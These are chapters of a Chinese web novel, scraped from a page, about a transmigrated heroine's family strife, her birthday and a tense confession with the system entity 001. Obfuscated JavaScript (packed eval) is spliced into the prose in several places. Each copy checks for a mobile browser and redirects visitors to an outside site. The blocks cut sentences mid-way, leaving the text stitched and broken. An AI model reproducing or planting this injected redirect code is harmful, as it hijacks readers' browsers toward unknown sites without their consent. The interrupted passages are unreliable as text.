房间里亮着灯,门没有关紧,传出夏恒的声音:“我心里有底,您就不用瞎操心了。” “那怎么行,夏家的企业最后肯定要交到你儿子手上,你那么重视陈玫那个女儿干什么?!” 周云蕙有些生气,低声训斥道。 “我没有更重视她,只是她比迁舟大五岁,我肯定要提前给她的未来做打算。我都已经计划好了,等她高考完,就报南山财经大学的金融专业,也好为以后进到夏家企业做准备。” “什么,你想让她管理公司?你能确定她能一心为公司吗?听你说,她不是喜欢捣鼓摄像机,你敢保证她就不会再去搞那个什么摄影了?” “你就放心吧妈,汀舟已经很长时间没碰过相机了。我只要发现一次,就摔她一个相机,次数一多她就知道什么才是最重要的了。” 周云蕙叹了一口气:“儿子,我老了,有时候没你们年轻人看得明白。只要你心里清楚该做什么——” 一阵敲门声打断了周云蕙的话。 陈玫推开门走进来说道:“妈,饭做好了,先下去吃饭吧,待会再聊。” 周云蕙警惕地看了一眼她,从床上下来:“知道了。” 夏恒路过陈玫的时候,顺口问道:“你什么时候上来的?我都没听到脚步声。” “就刚才,估计是你和妈聊得太投入了。怎么了吗?” “没什么,去吃饭吧。” 陈玫看着夏恒走到前面的背影,不知不觉被落到最后,就像她在周云蕙心里的位置一样。 保姆做了五菜两汤,因为周云蕙年纪大了,又有高血压,吃不了油腻重口的,桌上的几个菜全都清淡适口。 起初的午饭还算和谐,周云蕙没有再阴阳怪气地开口,夏恒和陈玫也没吵架,餐桌上陷入一种怪异的平静。 渐渐地,苏昙发现了一点不正常。 如她所见,周云蕙真的是个偏心的婆婆,也是个偏心的奶奶。汤里的排骨几乎都被她挑给了夏恒和夏迁舟,菜里的红烧肉也都尽数进了他俩的碗。 夏迁舟吃不完,又把那些还没碰过的排骨和肉夹给陈玫。 眼看他又要挑给自己,苏昙赶紧放下筷子表示已经吃不下了,拒绝了夏迁舟的好意。她要是敢接下,估计周云蕙眼里的怒火就要烧到她身上了。 苏昙把碗筷放进洗碗机,预感这里要有一场无烟的大战爆发,不由分说地拉着夏迁舟躲进楼上房间了。 倒是陈玫面不改色的吃掉,还补了句:“谢谢儿子。” 周云蕙当即拉下了脸,问夏恒道:“对了儿子,你身边那个秘书是不是叫小燕?” 夏恒吐掉嘴里的骨头,回道:“是啊。” “她今年过年怎么没和你一起回来?” “你说什么呢妈,她是我员工,正月里也得回家过年啊。” “这一年她可没少帮你管理公司吧。” “那倒是。” 周云蕙得到肯定,露出满意地神色,又道:“真不是我说,你身边还是有精明能干的女人才好,至少还能有点用,帮你做点事。不然光养废物,公司迟早要破产倒闭。” “那是自然。各司其职的道理谁都懂,我心里有数。” 夏恒给自己舀了一碗排骨汤,说的话和周云蕙一样暧昧。 陈玫心里冷笑,周云蕙这是在暗里骂她好吃懒做呢。但她碍着老人家的面子不想生事,反正一年就来一次,今日一别,一年不见。 陈玫装作没听到继续吃饭。 周云蕙冷嘲落空,不罢休地换上热讽:“诶小玫,我记得汀舟的生日是不是再有两个月就到了?当时我第一眼看到汀舟,多么白白胖胖的娃,看着就喜欢人。” 陈玫夹菜的手指一顿,把筷子收回来搁在碗上,反问道:“原来您还记得您孙女的生日呢?” “你瞧你说的什么话,我自己孙女的生日怎么可能不记得!” “自己?人是我生的,也是我养的,你哪来的勇气称自己的孙女?” 陈玫语气尖锐,夏恒忍不住皱眉:“小玫,怎么和妈说话呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏恒吓得破了音,怔了两秒,赶紧打开保险柜,给她喂进去一粒速效救心丸,然后立刻打车陪着周云蕙去医院。 走之前,夏恒恶狠狠地瞪了陈玫一眼:“要是我妈出了事,你就等着吧!” 说完,头也不回地带着周云蕙走了。 “……” 陈玫脱力地滑坐在凳子上,发着抖抱住膝盖,忍不住压低声音痛哭出来。 不知过了多久,陈玫红肿着眼看了眼窗户外面,天已经黑透了。她把桌子上的残羹冷炙倒进垃圾桶,又把剩下的碗筷放进洗碗机,上了楼。 苏昙和夏迁舟虽然没有在旁边亲眼看到,但光听声音也能猜到情况很不好。 陈玫强打起精神,走进屋里对两人说道:“奶奶有点不舒服,你们爸爸送她去医院了,我们先回家吧,走了。” 苏昙看陈玫丢了魂一样的状态,问道:“妈,你还没叫司机过来呢,现在能走吗?” “哦……对,抱歉啊,我忘记和家里司机说了。” 陈玫掏出手机就要和司机联系。 苏昙走到陈玫身边,轻轻拉住她的手,说道:“不用联系了,我已经提前给司机说过了,他早就到了,我们直接走吧。” 下了楼,夏迁舟乖乖拿上陈玫的钱包,跟在苏昙后面,默默观察陈玫的情况。 回到南山市的时候,已经是晚上八点,道路两边都是积雪,不一会又开始下雪了。司机开得很慢,雨刮器颇有节奏感地在车玻璃上欢快地挥舞,和车里的气氛格格不入。 一个小时后,车终于停在了别墅前。 陈玫失魂落魄地打开门,却发现家里有人在,客厅的灯还亮着。 “我女儿回来了,听我孙女说你受欺负了,快来让妈看看!” “玫玫,要是不开心咱就回家,你爸我还是能给你争点面子的!” 陈爸陈妈似乎刚到没多久,身上还冒着冷气,一看到陈玫进来,立刻从沙发上起来。 陈玫看到最亲最近的人就在眼前,先是愣了好一会神,紧接着眼圈一下子红了,抱住他们哭着喊道:“爸……妈……我好难受啊……” 夏迁舟也想上去说点什么,苏昙对他摇了摇头,拉着夏迁舟上了楼。 81. 世界四(14) 后面几天,夏恒都没回家,听他身边的秘书小燕说,夏总把周阿姨送回家就直接回总公司了。 陈玫和她父母待了一晚,状态好了很多,第二天早晨和往常一样起来吃早饭。 过完年,就意味着寒假要结束了。 开学前一天,苏昙在网上打印的照片终于寄到了,是她把初一那天出去排的照片挑了十几张张,有她自己的,也有和001的合照。 傍晚时分,手机弹出到货信息,苏昙一刻不停地换鞋出门取快递,碰到从兴趣班回来的夏迁舟。 夏迁舟迷惑道:“姐,你是有什么好事,给你高兴成这样?” “不告诉你。”苏昙摸了摸嘴角,才发现扬得高高的,“……这么明显吗?” 五分钟后,她拿着快递盒子回到房间。打开盒子之前还思忖着,挑一张好看的合照送给001。 然而,看到照片,苏昙却傻眼了—— 为什么只有她?001呢? 苏昙紧张地咽了一口唾沫,不可置信地把十几张照片来来回回翻了好几遍,连001的一个手指头都没看到。 怎么会这样? 她打开手机相册,再一次确认了和客服发过去的原照片。没错啊,其中一半都是有001的。 苏昙又打开购物软件,注意到右上角的客服消息框显示有三条消息未读。 “亲,刚才我们看了一下效果,感觉你的姿势有些奇怪,要不你再看看要不要换照片?” “……” “如果不介意,我们就继续打印了。” “……” “亲,照片已经打印完,满意的话,请给个好评哦!” 苏昙点开客服发的效果图,一下子看出来拍这张照片的时候,她让001蹲在她身前,而自己恶作剧般拽住一缕他头顶的发丝,脸上露出得逞的狡黠笑容。 可客服发的打印好的效果图里却没有001的影子,只有她一个人单手握拳,不知道在笑些什么。 现在这笑容落在她眼里,像是成了赤裸裸的嘲讽。 苏昙停在屏幕的指尖微微颤抖。 是她过得太满足幸福了吗,竟然自以为是到以为只要相信,就一定能跨越一切阻碍。 可是,她忘了,001从来不是她的世界里的人。她连他来自哪,会去哪都不知道,却自欺欺人地觉得他和自己一样。 苏昙紧紧攥住胸口的衣服,感觉心脏一阵阵地刺痛,痛得几乎无法呼吸,只能大口地喘气。 我喜欢他。 可别人都看不到他。 甚至连我都看不到他。 我到底在期待什么。 手里的照片已经被捏得变形,苏昙认清了自己的心,也不得不认清了现实。 她和001不会有结果。 也许这个世界还没结束,她就死了;也许她能幸运离开,却带不走001;又或许,001他,真的存在吗……无论哪一种结果,她光是想想就难受得发抖。 苏昙红着眼圈,却笑了:“苏昙,你可真是混蛋,你怎么配对他有私心?” 可他为什么会一次次护在自己身前?为什么自己每次梦魇时都会陪在身边?为什么要在除夕夜偷吻自己? 他明明对我也有私心的。 苏昙不甘心地想。 却也只能不甘心了。 她不会再让自己陷入饮鸩止渴的妄想。001没错,她也没错,是她的喜欢错了。 错了便改正,就像她改代码的bug一样,改正之后才能更好地运行,她和他才能更好地生活。 苏昙在床边呆坐了很久,最后自嘲地扯了扯嘴角,撒手把照片扔进了旁边的垃圾桶,关灯上了床。 * 连着半个多月,苏昙再没主动找过001。 大概是001察觉出来她态度的变化,虽嘴上没提什么,但逐渐有了和苏昙一样的边界感,两人默契地对彼此保持了距离,谈不上尴尬,也称不上亲近。 没过多久,南山高中开学了。 苏昙刚到学校第一天,就听隔壁班传孙瑞杰这学期转学走了,也不知道真的假的。 不过真的假的她也不关心,毕竟那就是个小插曲,她从不把小插曲放心里。 转眼高二下学期第一次月考结束,冬天也跟着结束了。雪白朴素的世界恢复了生机,树上地上随处可见新冒出的绿色嫩芽。 张思蓉正在收考后分析,突然有外班的同学在教室门口冒头问道:“一班的班长在吗?你们音乐老师找你!” “在!这就来!” 张思蓉抬头正好看到夏汀舟路过,把报告塞到她手里,道:“先帮我收一下,到程微雪那了,我等会回来,谢了!” 拿着水杯路过准备接水的幸运儿苏昙:“……好的。” 她把杯子放回座位,走到程微雪桌前,提醒道:“考后报告交一下吧。” 程微雪正在埋头写题,闻声看向苏昙,又低头把夹在卷子里的报告拿出来递给她:“给你。” 苏昙不知道是不是错觉,她隐约觉得程微雪看自己的眼神有些变化。 她问:“你昨晚没休息好吗?” “……没有。”程微雪愣了一下,补充道,“我这次考得不是很好,心情有点差。” “哦。”苏昙觉得以她现在的成绩也给不了程微雪什么安慰和建议,只好干巴巴道,“没事,肯定会越来越好的。” “嗯,谢谢你。” 程微雪没再说什么,低下头继续写题。 苏昙继续往后收报告。收齐之后等张思蓉回来的间隙,她脑海里浮现程微雪刚才的话。 其实在整个班里,与她关系最近的就是张思蓉和程微雪。但她和张思蓉的相处更加轻松自在,有些玩笑话想说就说了,不需要有什么顾忌。 和程微雪就没那么随性了。有时候,苏昙觉得她和程微雪中间像隔了一堵透明的墙,互相能看到对方,又不能再靠近,这种关系给人一种同学以上,朋友以下的感觉,停在这样一个位置感觉还挺奇怪的。 在苏昙心里的感受变得越来越奇怪之前,张思蓉终于回来了。 她把报告拿走后,跑上讲台敲了敲黑板,笑道:“好消息!学校安排,期中考试之后,要举办合唱比赛,要求全班同学都要参加!” “——好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738257|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班里爆发嘹亮的欢呼声。本来以为到了高二下,就要和所有的学校活动说拜拜,没想到还能有忙里偷闲的机会。 “而且刚才音乐老师把咱们班合唱的曲目定下来了,是一首电影的插曲。程微雪,老师交代你,等到后天上课前先给大家放两遍熟悉一下。” 程微雪有些意外,随后答道:“好,没问题。” 张思蓉点头,该交代的她都已经交代完,准备下去。 这时,坐在第一排的徐豪转身兴致勃勃地对程微雪说道:“反正现在是大课间,还有十五分钟才是老杨的课,要不你先放一遍吧!” 随后,全班再次兴奋起来,要求现在就听的呼声越来越高:“就是就是,现在先听一遍吧!” 程微雪窘迫地站起来,向张思蓉露出求助询问的眼神。 张思蓉收到信号,表情十分严肃。她身为班长,怎么能带头做这种事情? 她朝起哄的徐豪弹了一脑瓜蹦,面不改色地抬手打开了一旁的希沃白板,快速连上了校园网。 “芜湖,班长威武!” 徐豪叫道,被打了一点也不生气。 张思蓉没理会他,笑着下了讲台,示意程微雪赶紧上去放歌。 歌声响起时,班里立刻安静下来。 没听过的人开始专注地看着mv里的情节和歌词,听过的就继续低头写手里的作业,一种愉悦而祥和的气氛随着歌曲的旋律在班里散开。 杨辞掐着上课前十分钟的点,哼着歌出了办公室门,走到一班门口,却听到里面传来悠扬的音乐,似乎已经到了高潮。 “这帮小兔崽子,整天在我眼皮子底下钻空子!” 杨辞嘴里骂道,刚刚抬起脚,余光瞄到坐在窗户边上的一个同学竟然在看着视频偷偷抹泪。 他心里一软,又把伸了一半的腿收了回去,等到歌放完了才进去。 程微雪还站在讲台上,看到杨辞进来吓了一大跳,结巴道:“老师、这是咱们班合唱的歌,我先给同、同学们放了一遍熟悉……” 杨辞挥挥手让程微雪下去,叹气道:“我有这么不近人情吗?听都听了还能让你们忘记不成?” 班里的气氛瞬间松弛下来。 程微雪也松了一口气,脸上还有紧张刺激过后未褪去的红晕。 杨辞点开播放键:“反正还没上课,再听一遍吧。最好合唱比赛拿个奖,让我脸上也长长光,顺便再长长咱们的综合素质分!” “必须的!” 班里人异口同声地喊道。 * 晚上,苏昙回到别墅,耳机里还在循环着课间放的那首“Thisisme”。 她很喜欢这首歌,在听到第一句歌词的时候,便计划周末有空了看看那部电影。 苏昙推开门,发现家里静悄悄的,漆黑一片。 不对啊,这个点孙姨还没下班呢,怎么可能一个人都没?苏昙抬头看了眼楼上房间,陈玫和夏迁舟的卧室也是黑着灯的。 苏昙打开客厅的灯,试着喊道:“孙姨?” “夏迁舟?” “妈?” “……” 依旧静悄悄的。 82. 世界四(15) 苏昙又喊了两声,还是没人回应。她点进手机的联系人界面,拨响了陈玫的电话。 铃声响起的瞬间,一声嘹亮的“生日快乐”从厨房里传出来。 苏昙一下子听出来有夏迁舟的声音,就数他喊得最大声。还有孙姨和陈玫的声音,合着他们是要给她一个惊喜,三个人一起捧着蛋糕走出厨房。 苏昙怔了两秒,赶紧过去帮忙把蛋糕放到餐桌上,问道:“今天是……夏汀舟的生日?” 夏迁舟把蛋糕盘摆好:“你说什么呢姐,今天不是你生日是谁生日?” 孙姨把面包刀递给苏昙:“就是啊,小姐快切蛋糕吧!” 陈玫也笑着说道:“你回来得晚,我就没再让孙姨准备晚饭。把蜡烛插上,许个愿吧。等会我们把蛋糕分吃了。” 苏昙这才反应过来,夏汀舟的生日和自己同一天,都是3月25号。 不知为何,她心里生出一丝失落。算起来,她在穿进这个系统前,刚过完二十二岁的生日,一直到现在都没再想起过自己的生日。 毕竟她在里世界穿来穿去,保不准会连着过两个冬天或者夏天。她想不起,也没人提,一晃眼,也不知究竟在系统里过去多长时间了。 现在,就算夏家人给她过生日,也是因为夏汀舟,不是因为她。 苏昙闭上眼,再睁开时,眼底流露笑意:“我许过愿望了,切蛋糕吧。” 夏迁舟嘟囔道:“你都没点蜡烛呢。” “你给我找十八根蜡烛吗?” 苏昙挑眉,麻利地把蛋糕切成四小份,放进纸盘子里。 “好了,快吃吧。”陈玫端起盘子尝了一口,“还挺好吃的,没想象中的甜。” 夏迁舟两三口吃完自己的那份,火急火燎地上了楼,又神秘兮兮地下来,把手上的手提袋递给苏昙。 “喏,送你的生日礼物。生日快乐,姐。” 苏昙打开看了一眼,竟然是条浅紫色的点缀有碎钻的长裙。真是难为夏迁舟一个男生,难得送了件颇有浪漫细胞的礼物。 苏昙:“你怎么会想着买条裙子送我啊?” “你那么好看,就得穿漂亮的裙子才衬你。” “谢谢了,我很喜欢。” 苏昙小心地把裙子收好,扭头看向陈玫,露出期待的神情。 陈玫被她盯得没办法,只好无奈笑着起身道:“原本是想回楼上再给你的,等着,我去拿。” 不一会,陈玫抱着一个精致的盒子回到餐桌旁。 苏昙看到盒子上显眼的某大牌摄像机logo,惊讶道:“这……您也知道了?” 陈玫有些心疼地看着她:“怎么会不知道。以前担心你爸爸会反对,但现在妈妈决定了,会永远支持你,你放心去做想做的事吧!” 苏昙明明知道陈玫的话是对夏汀舟说的,眼眶还是不由自主地湿润了。 “……嗯,谢谢妈。” “这都不算什么,你健康开心才是最重要的。” 陈玫忍不住抱住夏汀舟,眼妆哭得有些花。 片刻后,孙姨开口道:“过生日的日子,那么伤感干什么,我的礼物还没拿出来呢!” “您也准备了礼物?” 苏昙松开陈玫,心里又泛起一阵温暖。 孙姨不好意思道:“我在这里工作一年多,早就把你们当作自己家人了。你要是不介意,就收下我的礼物吧。虽然不贵重,但多少给个面子。” 苏昙立刻道:“我要,当然要了!” 孙姨从身后的袋子里拿出一团米黄色的针织物,说道:“这是我自己平时没事织的围巾和手套,就是没算好时间,现在送……好像有点不太合适了。” “怎么不合适,说不定还要再下一场雪呢。”苏昙接过来,“就算穿不了,明年、后年、大后年总能用得上!” 孙姨被逗笑:“小姐说的是。” “孙姨,您别叫我小姐了,和我妈一样叫我汀舟吧,更亲近。” “好好好,小、瞧我这嘴,汀舟。” 陈玫和孙姨都笑了。 夏迁舟顿时不满:“还有我呢。” “迁舟。”孙姨乐不可支道。 夜色已晚,陈玫和孙姨送完礼物,一个回了房间,一个回了家。 苏昙和夏迁舟把剩下的蛋糕解决完,带着三件礼物和蛋糕盘子上楼。 分别前,苏昙听夏迁舟问道:“姐,你怎么还剩一块蛋糕不吃啊?” “我想留着,不行吗?” 夏迁舟显然不信:“那你留吧。” 苏昙没理他,进入卧室,把礼物一一放好。 尽管已经十一点多,她还是一点不困。苏昙也不知道自己到底在等什么,反正没有敲代码的心思。她就站在桌前,盯着桌子上的最后一块蛋糕发呆。 卧室里很静,苏昙甚至能听到夏迁舟洗漱的动静。过了一会,他那里也彻底没声了。 “生日快乐。” 001的声音在苏昙耳边响起。 他还是来了。 苏昙没有动作,但她能清晰地感知到,此刻001就在她身后,每一声呼吸都那么清楚,似乎还能嗅到一丝隐隐花香。 为什么他都已经来了,而自己还是高兴不起来呢? 苏昙随意地指着桌子,侧身给001让路:“他们买的蛋糕,太多了吃不完,还有一块,你要尝尝吗?” “好啊。” 001走了几步,先把手里的东西放到了桌上,又拿起叉子切下一口蛋糕放进嘴里。 “好吃。”他道。 苏昙看着桌上的一盆花,问道:“这是什么?” “送给你的生日礼物。” 苏昙顿了顿,露出一个有些夸张的惊喜的笑:“巧了,我刚才还收到——” 001放下叉子,认真地盯着苏昙说:“花不是给夏汀舟的,是给你的。” 过了几秒,又补充道:“只有你。” “……哦。”苏昙压住疯狂的心跳,佯装镇定地问,“这是什么花?怎么都还没开?” “昙花。不过眼下刚刚过冬,估计要开得晚些。” “那今天晚上还能开吗?” 苏昙伸手碰了碰紧紧闭拢的花苞,表示不对这些连花瓣还没绽开的花有什么信心。 “只要愿意等,就一定会看到它们开放的。” “……你还挺有耐心的。” “一向如此。” 苏昙被他噎住一秒,疑惑道:“你这花又是哪来的?” “虚空之境买的。” 苏昙又噎了一秒,感情这虚空之境什么都卖,等她下次回去了一定要好好逛逛! 001朝苏昙走进一步,忐忑地问道:“所以,你愿意和我一起等到花开吗?” “……” “如果不愿意,那你可不可以——” “001,”苏昙打断他,直直地盯着他,问道,“你是不是喜欢我?” 001沉默片刻,而后答道:“是。” “我们没可能。” “为什么?” 他语气罕见地有些急促,仿佛每多停顿一刻都是一场凌迟。 “因为你从来没去我的世界,而我也永远不属于这里。想想还挺可笑的,你一天只能出现在我身边一个小时,唯一保护我的方式就是换成你自己受伤;也许我明天就会因为意外死亡,也许你下一秒就会直接消失不见失去音信;我的家人不在这里,朋友也不在这里;而你呢,你只是一个子系统,我甚至不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740865|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是不是真实存在的!我也很难想象……想象有你的未来到底是什么样子,我们……究竟会不会有未来?” 说到后面,苏昙情绪变得激动起来,字字诛心。这是她第一次当着001的面嘲讽他子系统的身份,尖锐刻薄得毫不留情。 苏昙的视线被泪挡得模糊不清,她轻轻抽了一下鼻子,扭头看向别处,漠然道:“001,我们之间的距离,不仅仅只是虚空之境到里世界。挡在我们中间的还有主神、系统、还有无数个世界。如果我们在一起,会很累,很累的。” 001眼圈也忍不住泛红,他哑声道:“所以你连试试的机会也不愿意给我吗?” “这不是给不给你的问题,是我们根本没有机会去试。你听明白了吗?” “苏昙。” “你还要说什么?” 突然被叫真名,苏昙心里慌了一瞬。 001声音颤抖,却说得坚定:“不管在系统还是在现实世界,你的生命里不止我一个男性。等你回到现实世界之后,也许还会喜欢上其他的,比我更好的人。可是你说得对,我不是人类,所以我和你不一样,我喜欢一个人,会喜欢她、爱她一辈子。哪怕到死,我心里都只有你了……只要你还在我身边一天,我就会护你一天的安全。” 苏昙知道001真诚坦率,可没想到,他比她光明正大多了。和001相比,她就是个丢盔弃甲的懦夫。 而懦夫可以逃避,也可以说谎。 苏昙努力让自己挺起胸膛,信誓旦旦道:“相信我,001,你会遇到你喜欢的、也喜欢你的那个人。可能就是下一个宿主,可能是虚空之境的某一个员工。别在我身上浪费时间了,不值得。” “我不信你。”001扯起嘴角,看着苏昙摇头,“唯独这件事,我不信你,苏昙。我只信我自己的心。” 苏昙见他软硬不吃,坐到床上冷笑道:“随你。” 房间里陷入僵持。 良久,001开口:“……我能再问你最后一个问题吗?” “说。” “你对我,有没有过,哪怕一刻的动心?” “……”苏昙轻轻吐出一口气,感觉到气息滚烫而颤抖。她连自己都骗不了,又怎么可能对他掩盖真心。 “有。”她的声音很小,落在静默的房间,又足够清晰。 001:“那就足够了。” 苏昙注视着他的脸,没有想象中的心灰意冷,反倒多了几分劫后余生。 001无比认真地看着苏昙,笑道:“我说了,我一向很有耐心。如果花不开,那就继续等,总会开的。” “你可真倔。”苏昙跟他讲不了道理,干脆上床睡觉。 一分钟后,她又直起身,看着那人倔强的背影,不耐烦道:“你为什么还不走?” 001在桌前淡定坐下:“等花开。” 苏昙气不打一处来,嘲讽道:“那你等吧,等你一个小时的时间到了,看你还能不能出得来。” “马上十二点,过了零点我还能出来。”001耐心解释。 “……随你。你爱上哪上哪,只要别在我面前瞎晃。” 说完,她紧紧闭上眼睛,也不管那人什么表情,睡自己的觉去了。 …… 第二天早晨,苏昙顶着黑眼圈起床时,瞧见桌子上花盆里的花苞依旧紧闭,心里一阵说不清的烦躁,索性叫来孙姨,让她把花盆搬到客厅里一个看不见的角落去。 孙姨看见夏汀舟浮肿的眼睛,关切道:“汀舟,昨天晚上没休息好吗?” 苏昙打了个大大的哈欠:“没事,就是遇到个糟心人,处理了件糟心事。” 孙姨确定夏汀舟状态没问题,又点头叮嘱了几句,才搬着花盆走远了。 83. 世界四(16) 两天后的音乐课上,音乐老师在讲台上教得眉飞色舞,苏昙坐在最后一排听得心不在焉,也唱不进去,心里脑子里全是001那张令人讨厌的脸,和他说的那些让人讨厌的话。 临下课时,楚老师宣布道:“下节课我们就要排合唱队形,到时候在篮球场空地集合。现在需要选一下合唱指挥。” 学校的合唱比赛就是走个形式,没那么多专业要求。至于指挥这个角色,会跟着节奏打拍子就行。 楚老师刚问完,有些唱歌跑调的、或是有音乐基础的同学都齐刷刷举手自荐。 程微雪也有些心动,犹豫要不要举手。 “就你了。” 楚老师的视线越过坐在中间程微雪,落在最后一排角落、正支着下巴盯着窗外发呆的女生身上。 前排同学转过身,偷偷提醒苏昙,老师在喊她当指挥。 苏昙百思不得其解地站起来:“我?” 可她头都没抬,完全没这意思啊! 楚老师凭借多年的带领合唱经验,对这位女同学心里想的什么心知肚明,她语重心长道:“就是看你太不积极了,才选你的。现在的合唱,可没你们想得那么容易糊弄,不管是指挥还是合唱队员,都必须好好配合才能发挥出好的效果!” 苏昙视线一转,对上程微雪的目光,又看向楚老师道:“要不您还是换——” 这时,下课铃正好打响,楚老师拔掉U盘,不容拒绝道:“不用和我商量了,你下去之后抽时间到办公楼找我,我先教你最基本的指挥手势。” 苏昙认命地坐下:“……好。” 楚老师离开后,她走到程微雪位置上,问道:“我刚才看你对指挥挺有兴趣的,要不咱们再一起找老师说说?你懂音乐,唱歌还好听,我觉得你比我更合适。” 程微雪表情有些勉强,和声拒绝道:“我……没事,老师都已经定下你了,你好好加油。” 苏昙看了程微雪几秒,终于明白了她究竟为什么会让自己觉得奇怪了。 程微雪心思敏感,想的又多,在和别人的关系里总是做那个求全的,喜欢把心里真实的想法藏得严严的,与她相处得时间长了,自然会感觉到奇怪。 就比如苏昙分明从程微雪脸上看出了对做指挥的强烈意愿,却在失去机会后违心地说没有关系。 换做是她,只要下定决心,哪怕得不到想要的结果,也一定会拼尽全力。 程微雪被苏昙盯得有些不自在,问道:“你还有什么事吗?” “哦,没事了。” 苏昙对她笑笑,把目光收了回来。 * 131最好的兄弟失恋了。 他昨天晚上刚回到工位,看到对面001的眼睛又红又肿,不知道一个他子系统孤零零地哭了多长时间,成了这副落魄的模样。 要知道,他和001共事一百多年,还从来没有见他情绪这样外露的时刻。 当即131便表示,不就是表白被拒顺带吵了个架么,没了女朋友还有好兄弟,他十分愿意把肩膀借给001再哭一会,结果就是被001连人带凳踹出了门。 但也就昨天一晚上,他早晨再看到001时,001已经恢复了之前“泰山崩于前而面不改色”的淡定,正在看桌上放着的一本薄薄的画册。 就是十分钟过去了,那子系统的目光还停在封面。 131走过去好奇道:“这是什么书?” “一本关于混沌珠的画册。” “混沌珠?你找到关于它的信息了?”131思考了一秒,惊道,“等等,你不会一晚上都泡在图书室了吧?!” 001幽幽看了他一眼:“你又懂了。” 131做了个OK的手势,又道:“那你还准备把书给她吗?” “为什么不给?” “……说得是。” 131只恨自己之前那么上赶着当军师,现在倒好,哥们变成了恋爱脑,其中就有他不可磨灭的一份功劳。 前军事坐回工位上,开始心虚地转移话题:“昨天看你心情不好,没告诉你。前几天我去问了401身边的同事,他们说401一直没什么变化。当时我恰好碰见401回来,就和他聊了两句。” “发现什么了?” “我敢肯定,401不记得谷晨的事了,不仅如此,他甚至说和我不熟!”131的重点逐渐跑偏,“当初是谁在我身边哭得稀里哗啦求安慰的?他竟然一点也不记得了!虽说我的长相比你稍微差了一点,但虚空之境还是有我131的大名的!” “不记得了?一点印象也没吗?” 001脸上淡淡的散漫和悲伤消失,皱眉问道。 “对。不过,他的脾气还是一点没变,和以前一样臭。我刚问他两句话,就不耐烦地给我赶走了。” “知道401的记忆是什么时候改变的吗?” 131摇摇头,突然睁大眼睛说道:“我想起来了!当时有个同事说,401之前好像去见了一次主神,回来之后的两天,竟然忘了近期发生过的许多事!” “又是主神?” “更巧的是,我估算了下,401去见主神的时间,正好是你从忏心间出来的第二天!” “看来和祂脱不了关系。” “你的意思是,401的记忆出现问题,是主神造成的?” “也不能说得这么绝对。”001把手里的画册放进手边的抽屉里,“找混沌珠的信息时,我在档案室和图书室并没有看到有关改变记忆的资料或书籍。” “我应该没和你讲过,苏昙经历的第三个兽人世界的原主维希,极有可能是兽人实验室的样本之一。维希的记忆出现问题,是因为她的身体被科研人员做了基因编辑。反过来,就算主神比我们都要厉害,也不可能独自轻易地逆转时间,改变他人的记忆。” 131猜测:“也许主神的背后还有我们不知道的存在?” “可能吧。” 001轻轻叹气,他一时间也理不清其中缘由。 说到底,他也是一个子系统。一个子系统又能有多大的能力,去和比主神更强大的力量抗衡? 今天失忆的是401,也许明天就会是131、或者是……自己。 于他们而言,401的失忆,更像是一个警告、一个惩罚。 走廊上,不停有员工来回奔走,皮质的鞋底敲击地板,发出富有节奏感的“锵锵”声。房间里,却没了说话声。 良久,131开了口:“你说,主神是真的为了我们好吗?” 001愣了愣,笑道:“你之前可不是这么对我说的。” “我们的存在,是为了咸鱼系统;我们被赋予的初始性格,是为了更好地服务宿主;我们的工作,是为了帮助那些仍有生存之志的原主;可有些事情,我却只能无能为力地看着它们发生,甚至不能声张……如果我们所做的一切都是为了别人,那什么是为了我们自己?就只是为了每个月的工资吗?我要它有什么用,我连虚空之境都没出过。” 131眸色暗淡,痛苦地揪着一头红发,看起来内心十分挣扎。 “一百年前我就在想这个问题。”001缓缓说道,“那时,真心被许多宿主辜负得多了,就忍不住抱怨,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749756|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明是在帮他们,甚至冒着被主神惩罚的风险,为什么他们还总是自以为是,听不进子系统的劝告?后来苏昙让我渐渐想明白了,我们所谓的性格也好、工作也好,就只是性格和工作,是主神、外界在不断赋予它们意义。而真心永远是真心,你永远是你。” “所以,这就是你拼命工作想获得人类身份的原因吗?” 001想了一会,说道:“我承认,人类的情感更复杂,心理也更复杂。我见过不少内心阴暗龌龊的人,同样见过善良正直的人,但世界从来不是非黑即白。可能是越没有什么就越想要什么吧,我想象不到人类眼睛里的世界是什么样子,所以心向往之。” “那你有没有想过,”131抬头看向001,问道,“未来也许会和主神站到对立面?你曾经对我说过,祂想要的只是忠心听话的机器。而你恰恰相反。” “我不是已经在了吗?”001笑道。 